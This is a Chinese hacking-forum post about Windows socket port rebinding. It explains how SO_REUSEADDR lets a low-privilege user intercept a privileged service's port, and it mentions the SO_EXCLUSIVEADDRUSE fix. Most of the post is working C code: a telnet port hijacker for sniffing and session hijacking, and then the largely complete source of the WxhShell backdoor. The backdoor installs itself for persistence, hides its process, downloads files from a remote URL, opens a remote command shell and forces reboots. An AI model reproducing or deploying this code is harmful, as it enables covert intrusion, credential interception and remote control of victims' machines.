社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19469阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rz+)z:u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qF C0$:z&  
u|&"l  
  saddr.sin_family = AF_INET; as=Z_a:0N  
0"o%=i;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w[}5qAI5*f  
Jte:U*2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KV0M^B|W  
a'u:1C^\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C ?JcCD2  
XZde}zUWn  
  这意味着什么?意味着可以进行如下的攻击: piIj t  
pKJ0+mN#"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :c[iS~ ~Y  
\CNv,HUm3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %$}aWzQxll  
A:Pp;9wl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #\3(rzQVO  
8;K'77h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &o%IKB@  
j;6kN-jx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 21Mr2-#z  
P>n}\"z4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C +S  
FC[8kq>Hk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j ;}!Yn  
d+[GMIxg  
  #include MWTzJGRT  
  #include `d]D=DtH  
  #include BQ! v\1'C  
  #include    vncLB&@7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DdDwMq  
  int main() @c,Qj$\1  
  { 8 -]\C  
  WORD wVersionRequested; &v9*D`7L  
  DWORD ret; 'qel3Fs"  
  WSADATA wsaData; t M?3oO  
  BOOL val; :j feY  
  SOCKADDR_IN saddr; Xr M[8a  
  SOCKADDR_IN scaddr; %>i7A?L  
  int err; jjvm<;lv  
  SOCKET s; "JVz v U]  
  SOCKET sc; D +)6#i Y  
  int caddsize; S:vv*5  
  HANDLE mt; {H $\,  
  DWORD tid;   dqUhp_f2qK  
  wVersionRequested = MAKEWORD( 2, 2 ); F4 Ft~:a  
  err = WSAStartup( wVersionRequested, &wsaData ); U3lr<(r*  
  if ( err != 0 ) { |i?AtOt@f  
  printf("error!WSAStartup failed!\n"); p`1d'n[  
  return -1; |gxU;"2`5~  
  } Xk]5*C]6<  
  saddr.sin_family = AF_INET; X@9_ukdpu  
   2k"a%#H8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /~7H<^}  
:c)<B@NqNo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 30>TxL=&  
  saddr.sin_port = htons(23); K;6K!6J:[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tb/u@}")  
  { *&UVr  
  printf("error!socket failed!\n"); 4,s: G.g  
  return -1; 'cw0FpQ;  
  } <l wI|<  
  val = TRUE; q9WdJ!-^X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RO wbzA)]r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "XC6 l4Z  
  { H gNUr5p  
  printf("error!setsockopt failed!\n"); h#]}J}si  
  return -1; ![abDT5![  
  } {,APZ`q|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f`A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lu(G3T8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZFW}Vnl  
5Tu#o ()  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)   |J(]  
  { -&,NM  
  ret=GetLastError(); ;%dkwKO  
  printf("error!bind failed!\n"); ,C&h~uRi#f  
  return -1; (= !_ 5l  
  } '12|:t&7  
  listen(s,2); i;)g0}x`  
  while(1) i+&= "Z@  
  { JEHV \ =  
  caddsize = sizeof(scaddr); w,}}mC)\*  
  //接受连接请求 (sqS(xIY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cWRB=`=qz  
  if(sc!=INVALID_SOCKET) &/JnAfmYqt  
  { /0o 2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YSa:"A  
  if(mt==NULL) mu{%%b7|^  
  { 5\4>H6  
  printf("Thread Creat Failed!\n"); 2{V|  
  break; ~:t2@z4p  
  } iT5H<uS  
  } s}z,{Y$-t  
  CloseHandle(mt); A+F-r_]}db  
  } <}mT[;:"  
  closesocket(s); *e>:K$r  
  WSACleanup(); _r8AO>  
  return 0; >8 JvnBFx=  
  }   23OV y^b  
  DWORD WINAPI ClientThread(LPVOID lpParam) hYWWvJ)S  
  { YD+C1*c!  
  SOCKET ss = (SOCKET)lpParam; ZDDwh&h  
  SOCKET sc; rSJ}qRXwU  
  unsigned char buf[4096]; A.h?#%TLL  
  SOCKADDR_IN saddr; RsOK5XnQn  
  long num; f:UN~z'yr  
  DWORD val; GecXMAa:2  
  DWORD ret; ^Q OvK>W<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FN,uD:a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B0KM~cCPQP  
  saddr.sin_family = AF_INET; CD tYj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q-au)R,  
  saddr.sin_port = htons(23); &qpA<F@7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3+$O#>  
  { 8/F2V?iT  
  printf("error!socket failed!\n"); z::2O/ho  
  return -1; 4dok/ +Ec  
  } (i?^g &  
  val = 100; l2v}PALs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *7vPU:Q[  
  { #rC/y0niH  
  ret = GetLastError(); +]e4c;`ko}  
  return -1; FD-)nv2:  
  } 6\Z^L1973  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .o8Gi*PEY  
  { ( 0h]<7  
  ret = GetLastError(); > @%!r  
  return -1; 2X]\:<[4  
  } 3TtW2h>M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a&[nVu+  
  { 51,m^veO  
  printf("error!socket connect failed!\n"); Mzd}9x$'J  
  closesocket(sc); 5jLDe~  
  closesocket(ss); k$2Y)  
  return -1; "<(~  
  } <>Im$N ai  
  while(1) PA/6l"-`3  
  { f1{ckHAY55  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FN R& :  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nr^p H.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k?#6j1pn  
  num = recv(ss,buf,4096,0); #?*jdN:  
  if(num>0) gc=e)j@  
  send(sc,buf,num,0); %'HUC>ChN  
  else if(num==0) 3:( `#YY  
  break; !jbjrzv9  
  num = recv(sc,buf,4096,0); T,fz/5w  
  if(num>0) z|2liQrf+  
  send(ss,buf,num,0); KOQTvJ_#  
  else if(num==0) Bz{ g4!ku  
  break; S`G\Cd;5  
  } [ZbK)L+_  
  closesocket(ss); {;zPW!G  
  closesocket(sc); 4l*&3Ar  
  return 0 ; v+G:,Tc"  
  } ?1uAY.~ZZB  
2~<0<^j/]  
TG9)x|!  
========================================================== Z7^}G=*  
!iw 'tHhR  
下边附上一个代码,,WXhSHELL (AYD @  
F*4+7$E0B  
========================================================== 1|VJND  
NP8TF*5V  
#include "stdafx.h" /HRaX!|E#  
x _K%  
#include <stdio.h> ~ #CCRUhM  
#include <string.h> J (h>  
#include <windows.h> 1GdD  
#include <winsock2.h> Q Y'-]  
#include <winsvc.h> I,eyL$x  
#include <urlmon.h> U6Ak"  
g&>Hy!v,  
#pragma comment (lib, "Ws2_32.lib") * 5n:+Tw(  
#pragma comment (lib, "urlmon.lib") w^gh&E  
>gl.(b25C  
#define MAX_USER   100 // 最大客户端连接数 zTLn*?  
#define BUF_SOCK   200 // sock buffer d3GK.8y_z  
#define KEY_BUFF   255 // 输入 buffer 9K|lU:,  
%j@FZ )a[  
#define REBOOT     0   // 重启 `?x$J 6p  
#define SHUTDOWN   1   // 关机 8GldVn.u  
>Il`AR;D  
#define DEF_PORT   5000 // 监听端口 ,X^_w g  
Zi)b<tM q  
#define REG_LEN     16   // 注册表键长度 #A; Z4jK  
#define SVC_LEN     80   // NT服务名长度 YkX=n{^  
zwtsw[.  
// 从dll定义API ]B4mm__  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UD{/L"GG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OX4D'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sFK<:ka  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {O) &5  
W#j,{&KVn  
// wxhshell配置信息 @3YuV=QfH  
struct WSCFG { >nQ yF  
  int ws_port;         // 监听端口 $8k_M   
  char ws_passstr[REG_LEN]; // 口令 jm\#($gl=  
  int ws_autoins;       // 安装标记, 1=yes 0=no "ux]kfoT  
  char ws_regname[REG_LEN]; // 注册表键名 <q\) o_tH  
  char ws_svcname[REG_LEN]; // 服务名 Ib!rf:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C`wI6!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bq@wS\W>b}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z :v, Vu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y)}%SP>,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )H)Udhz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `aL|qyrq#  
1 ],, Ar5  
}; aa8Qs lm  
~qxXou,J  
// default Wxhshell configuration {yMA7W7]  
struct WSCFG wscfg={DEF_PORT, !m(L0YH  
    "xuhuanlingzhe", #G` ,  
    1, #J724`  
    "Wxhshell", '-33iG  
    "Wxhshell", Wxau]uix  
            "WxhShell Service", W'h0Zg  
    "Wrsky Windows CmdShell Service", vUe *  
    "Please Input Your Password: ", J+jmSK%z  
  1, P lH`(n#  
  "http://www.wrsky.com/wxhshell.exe", +\GZ(!~  
  "Wxhshell.exe" D"4&9"CU  
    }; cuaNAJ  
QhQ"OVFr#  
// 消息定义模块 @[tV_Z%,b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QM_X2Ho  
char *msg_ws_prompt="\n\r? for help\n\r#>";  ;c Co+(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B36puz 0{  
char *msg_ws_ext="\n\rExit."; ;'QY<,p[e  
char *msg_ws_end="\n\rQuit."; exO#>th1  
char *msg_ws_boot="\n\rReboot...";  G].__]  
char *msg_ws_poff="\n\rShutdown..."; in #]3QGV  
char *msg_ws_down="\n\rSave to "; E\~ KVn  
%m{.l4/!O  
char *msg_ws_err="\n\rErr!"; z<%g #bo  
char *msg_ws_ok="\n\rOK!"; k\sM;bCv7  
b>= Wq  
char ExeFile[MAX_PATH]; ^M"z1B]  
int nUser = 0; =lC;^&D-0/  
HANDLE handles[MAX_USER]; *UBP]w  
int OsIsNt; n<<=sj$\!  
k l!?/M  
SERVICE_STATUS       serviceStatus; $.Q>M]xH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %aH$Tb%`hc  
zf3:<CRX5  
// 函数声明 #CA%]*l*F  
int Install(void); 3<Z'F}lg  
int Uninstall(void); / $9 :L  
int DownloadFile(char *sURL, SOCKET wsh); z{pC7e5  
int Boot(int flag); {!}F :~*r  
void HideProc(void); +rsl( 08FY  
int GetOsVer(void); (#bp`Kih  
int Wxhshell(SOCKET wsl); Y62u%':X  
void TalkWithClient(void *cs); Yn4)Zhkk  
int CmdShell(SOCKET sock); _+\:OB[Y  
int StartFromService(void); n^AP"1l8?0  
int StartWxhshell(LPSTR lpCmdLine); vXWsF\g  
kOAY@a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); * {gxI<   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h41$|lonU%  
) \-96 xd  
// 数据结构和表定义 n{64g+  
SERVICE_TABLE_ENTRY DispatchTable[] = GG_^K#*  
{ j,=*WG  
{wscfg.ws_svcname, NTServiceMain}, M'umoZmW0  
{NULL, NULL} BbrT f"`  
}; }PI35i1!t  
5#0A`QO   
// 自我安装 CF|moc:;  
int Install(void) m<4s*q0\i  
{ V$dJmKg  
  char svExeFile[MAX_PATH]; G@!_ZM8h  
  HKEY key; `6Ureui2?  
  strcpy(svExeFile,ExeFile); )W8L91-  
/M^V 2=  
// 如果是win9x系统,修改注册表设为自启动 lf%b0na?r  
if(!OsIsNt) { >f\zCT%cf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -BA"3 S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EO#gUv  
  RegCloseKey(key); Fn86E dFM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cBifZv*l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^]$$)(jw  
  RegCloseKey(key); j:3EpD@GS  
  return 0; d"H<e}D  
    } _W0OM[  
  } D =r-  
} H>?:U]  
else { J>=1dCK  
k42b:W5%  
// 如果是NT以上系统,安装为系统服务 Es'-wr\Hm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :be:-b%K  
if (schSCManager!=0) (R_CUH  
{ ?R;nL{  
  SC_HANDLE schService = CreateService 3sZ,|,ueD  
  ( uAu( +zV2  
  schSCManager, $gVLk.  
  wscfg.ws_svcname, %z*29iKlI  
  wscfg.ws_svcdisp, )A="eW_>  
  SERVICE_ALL_ACCESS, 9&jQ 35  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^^G-kg  
  SERVICE_AUTO_START, .OmQ'  
  SERVICE_ERROR_NORMAL, ?k{|Lk  
  svExeFile, L5Urg*GNL  
  NULL, - <J q  
  NULL, f.| |PH  
  NULL, LthGZ|>  
  NULL, Dd| "iA  
  NULL +0]'| tF>  
  ); g<fDY6jt  
  if (schService!=0) WP5VcBC  
  { Bv^+d\*1  
  CloseServiceHandle(schService); Z^s+vi  
  CloseServiceHandle(schSCManager); 3->,So0Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i"L }!5  
  strcat(svExeFile,wscfg.ws_svcname); }0QN[$H!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k/G7.)C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NEA_Plt  
  RegCloseKey(key); 79D=d'e A  
  return 0; E{uf\Fc   
    } !w q4EV  
  } i90}Xyt  
  CloseServiceHandle(schSCManager); @l'G[jN5  
} bE?'C h  
} UqN{JG:#.  
\V= &&(n#  
return 1; N~;*bvW{  
} 6sPk:5  
|GtY*|  
// 自我卸载 /D0RC  
int Uninstall(void) 8;TAb.r  
{ t)9]<pN%  
  HKEY key; [s~JceUyX  
)ZGYhE  
if(!OsIsNt) { [-\({<t3x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 25d\!3#E  
  RegDeleteValue(key,wscfg.ws_regname); - %|P  
  RegCloseKey(key); h40'@u^W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a mqOxb  
  RegDeleteValue(key,wscfg.ws_regname); CWs: l3_yn  
  RegCloseKey(key); || [89G  
  return 0; }'%^jt[3  
  } SSE3tcRRl  
} pprejUR  
} czI{qi5N  
else { wf?u (3/%  
n@ 4@,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4r\*@rq  
if (schSCManager!=0) eOt%xTx  
{ .`,F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uo2+:p  
  if (schService!=0) Vvyj  
  { MM#i t=u  
  if(DeleteService(schService)!=0) { mzGjRl=O  
  CloseServiceHandle(schService); 1?(cmXj  
  CloseServiceHandle(schSCManager); *(G&B\  
  return 0; 4QE=f(u;h  
  } 7{pIPmJ  
  CloseServiceHandle(schService); 7rcA[)<'  
  } ^ Hg/P8q  
  CloseServiceHandle(schSCManager); eIg+PuQD]  
} f])M04<  
} NPm;  
9JPEj-3`g  
return 1; ocF>LR%P  
} _.{zpF=j  
`FZF2.N  
// 从指定url下载文件 %zzYleJ!]  
int DownloadFile(char *sURL, SOCKET wsh) ;WD,x:>blO  
{ f^p^Y F+  
  HRESULT hr; EUy(T1Cl&&  
char seps[]= "/"; #--olEj!  
char *token; O|I+],  
char *file; $Jp~\_X  
char myURL[MAX_PATH]; "(,2L,Zh  
char myFILE[MAX_PATH]; f2yq8/J8.  
N5? IpE  
strcpy(myURL,sURL); llq*T"7  
  token=strtok(myURL,seps); ,}0$Tv\1  
  while(token!=NULL) ]]TqP{H  
  { x vmt.>f  
    file=token; R,F gl2  
  token=strtok(NULL,seps); Vr/Bu4V"  
  } w2{g,A|  
D9BQID$R  
GetCurrentDirectory(MAX_PATH,myFILE); =A@>I0(7  
strcat(myFILE, "\\"); ZjD)? 4  
strcat(myFILE, file); +~Tu0?{Z 0  
  send(wsh,myFILE,strlen(myFILE),0); ZIpD{>/  
send(wsh,"...",3,0); q8>t!rh<R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @TzvT3\q  
  if(hr==S_OK) #6=MKpR  
return 0; XWUP=D~  
else X*F_<0RC1  
return 1; >;4!O%F  
M-J<n>hl  
} ZyI$M3{J  
!`&\Lx_  
// 系统电源模块 |0sPka/u16  
int Boot(int flag) #G#g|x*V  
{ f+x ;:  
  HANDLE hToken; l%~lz[  
  TOKEN_PRIVILEGES tkp; A&zS'toU  
sI,W%I':d  
  if(OsIsNt) { PcC/_+2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nPFwPk8=M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xJc$NV-JzK  
    tkp.PrivilegeCount = 1; pu9^e4B9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7Xg?U'X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WC*=rWRxF  
if(flag==REBOOT) { w^q7n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gEwd &J  
  return 0; *geN [ [  
} >&U @f  
else { ST Z]8cw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m#e*c [*G  
  return 0; V`#.7uUP  
} C\}/"  
  } lpgd#vr  
  else { y('k`>C  
if(flag==REBOOT) { RWKH%C[Yd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FhkkW W L  
  return 0; 3mO;JXd  
} Ez+Z[*C  
else { !GwL,)0@^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bT )]'(Xy  
  return 0; L',mKOej  
} ,Na^%A@TJ  
} i"r!w|j  
65TfFcQ<S  
return 1; &GhPvrxI?  
} CnISe^h  
uw AwWgl  
// win9x进程隐藏模块 Ps4 ZFX  
void HideProc(void) wN=;i#  
{ S($Su7g%_  
0 1V^L}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iW%8/$  
  if ( hKernel != NULL ) V}WB*bE  
  { Bv6 K$4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u92^(|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xSMt*]=9  
    FreeLibrary(hKernel); 5/MKzoB  
  } ^D{lPu 3  
^oM|<";!?D  
return; 9'[ N1Un.=  
} }ns-W3B'  
(R!hjw~  
// 获取操作系统版本 -0C@hM,wm  
int GetOsVer(void) @-&MA)SN  
{ T-_"|-k}P%  
  OSVERSIONINFO winfo; =(HeF.!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c>:R3^\lwx  
  GetVersionEx(&winfo); RY9V~8|M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c{3wk7  
  return 1; E"~2./+rd  
  else /Ncm^b4  
  return 0; 9X$ma/P[  
} a<~77~"4wn  
eHiy,IN  
// 客户端句柄模块 47K1$3P  
int Wxhshell(SOCKET wsl) tDg}Ys=4K>  
{ R?o$Y6}5  
  SOCKET wsh; c!K]J  
  struct sockaddr_in client; *Hz^K0:8(  
  DWORD myID; f+_h !j  
Z?5V4F:f  
  while(nUser<MAX_USER) =O).Lx2J  
{ "A$!, PX6  
  int nSize=sizeof(client); t. ='/`!N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #S]ER907  
  if(wsh==INVALID_SOCKET) return 1; qOih`dla  
ar9]"s+'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;r[@v347  
if(handles[nUser]==0) HlvuW(,x=  
  closesocket(wsh); W2FD+ wt  
else _tTNG2  
  nUser++; gKYfQ+  
  } $5D,sEC@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -i yyn ^|  
ngohtB^]  
  return 0; 2;a(8^n  
} jRSUp E8  
}|u4 W?H  
// 关闭 socket Qv,"($n\  
void CloseIt(SOCKET wsh) ?']5dD  
{ w-wV3Q6X  
closesocket(wsh); :L44]K5FL  
nUser--; mpPdG  
ExitThread(0); Q/>{f0  
} C CBfKp  
eIRLNxt+v  
// 客户端请求句柄 ia\eLzj  
void TalkWithClient(void *cs) ydRC1~f0  
{ nD5 gP  
Qham^  
  SOCKET wsh=(SOCKET)cs; +t5U.No  
  char pwd[SVC_LEN]; l&iq5}[n&  
  char cmd[KEY_BUFF]; R}^~^#  
char chr[1]; ?qCK7 $ j  
int i,j; pn.wud}R  
q\m2EURco  
  while (nUser < MAX_USER) { $,+O9Et  
x8S7oO7  
if(wscfg.ws_passstr) { QUU;g2k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vVE2m=!v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1N7Kv4,  
  //ZeroMemory(pwd,KEY_BUFF); Zjbc3 M5  
      i=0; 3)\8%Ox  
  while(i<SVC_LEN) { MrZh09y  
t2,A@2DU 2  
  // 设置超时 UfN&v >8f  
  fd_set FdRead; ~0beuK&p  
  struct timeval TimeOut; <Utnz)  
  FD_ZERO(&FdRead); yW$0\E6<r  
  FD_SET(wsh,&FdRead); N"nd*?  
  TimeOut.tv_sec=8; oD<kMK  
  TimeOut.tv_usec=0; JSW^dw&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |B?27PD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Re P|UH  
X!e[GJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $5Xh,DOg  
  pwd=chr[0]; #Q2Y&2`yGT  
  if(chr[0]==0xd || chr[0]==0xa) { Y.g59X!Ub2  
  pwd=0; J ]nohICe  
  break; uc;8 K,[t  
  } n4}B r;%  
  i++; \v'p/G)g  
    } !%"8|)CAr  
"jG}B.l=,  
  // 如果是非法用户,关闭 socket G6T_O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xuqv6b.  
} a)wJT`xu  
.zi_[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  o4|M0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1oc3$A  
|&RU/a  
while(1) { N<~t3/Nm  
Ney/[3 A  
  ZeroMemory(cmd,KEY_BUFF); 8C*c{(4  
SHe49!RA'{  
      // 自动支持客户端 telnet标准   ^s|6vd;PD=  
  j=0; Pi]19boM.  
  while(j<KEY_BUFF) { xai*CY@cQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _f$^%?^  
  cmd[j]=chr[0]; YB-h.1T-  
  if(chr[0]==0xa || chr[0]==0xd) { d3D] k,  
  cmd[j]=0; \ExMk<y_&  
  break; r"P|dlV-  
  } KET2Ws[w  
  j++; r>o63Q:  
    }  #"@|f  
*MKO I'  
  // 下载文件 OCNQvF~  
  if(strstr(cmd,"http://")) { G"h'_7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 03q 5e  
  if(DownloadFile(cmd,wsh)) < jJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OX\A|$GS  
  else I}1NB3>^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wOU_*uY@6'  
  } kM,C3x{A  
  else { 9[<)WQe6M  
RW<D<5C  
    switch(cmd[0]) { <g"{Wv: h  
  =ALTUV3/q  
  // 帮助 bbE!qk;hEP  
  case '?': { ?l9XAW t\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hb}+A=A=+  
    break; g:hjy@ w  
  } 5>[u `  
  // 安装 ,J+}rPe"sf  
  case 'i': { ,U2*FZ["  
    if(Install()) 'Gj3:-xqL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Z4nAc  
    else ]n6#VTz*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]s<[D$ <,  
    break; OCe!.`  
    } fU/>z]K  
  // 卸载 )Y"+,$$>Y`  
  case 'r': { EV]1ml k$  
    if(Uninstall()) hgPa6Kd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fD[*_^;h)  
    else 5IE#\FITO|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZrpU <   
    break; IxY|>5z  
    } b,7k)ND1F  
  // 显示 wxhshell 所在路径 T&6l$1J  
  case 'p': { vS;RJg=  
    char svExeFile[MAX_PATH]; %)1y AdG 8  
    strcpy(svExeFile,"\n\r"); Tp/6,EE  
      strcat(svExeFile,ExeFile); v[1aW v:  
        send(wsh,svExeFile,strlen(svExeFile),0); :D~DU,e'  
    break; -t!~%_WCv  
    } (A9Fhun  
  // 重启 0X6YdW_2X  
  case 'b': { J')o|5S1N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); geru=7  
    if(Boot(REBOOT)) LBYMCY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?9 <:QE;I>  
    else { ; ZA~p  
    closesocket(wsh); &u$Q4  
    ExitThread(0); 'DP1,7  
    } gb[5&> (#  
    break; ]L5@,E4.  
